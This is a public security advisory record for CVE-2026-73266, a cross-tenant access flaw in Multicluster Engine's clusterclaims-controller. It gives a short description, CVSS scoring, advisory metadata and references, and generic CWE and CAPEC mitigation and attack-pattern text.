GHSA-XP42-V53J-R9GH

Vulnerability from github – Published: 2026-08-13 18:31 – Updated: 2026-09-05 15:30
VLAI
Details

A flaw was found in the clusterclaims-controller component of Multicluster Engine (MCE). An authenticated tenant can exploit this vulnerability by manipulating ClusterClaim labels. This allows the tenant to force a cluster to join a ManagedClusterSet belonging to another tenant. Such unauthorized access could enable the injection of policies and workloads into other tenants' clusters.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-73266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T17:17:35Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the clusterclaims-controller component of Multicluster Engine (MCE). An authenticated tenant can exploit this vulnerability by manipulating ClusterClaim labels. This allows the tenant to force a cluster to join a ManagedClusterSet belonging to another tenant. Such unauthorized access could enable the injection of policies and workloads into other tenants\u0027 clusters.",
  "id": "GHSA-xp42-v53j-r9gh",
  "modified": "2026-09-05T15:30:25Z",
  "published": "2026-08-13T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73266"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59556"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59557"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59558"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59559"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59579"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:59593"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-73266"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2514217"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Mitigation
Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

CAPEC-219: XML Routing Detour Attacks

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

CAPEC-465: Transparent Proxy Abuse

A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.

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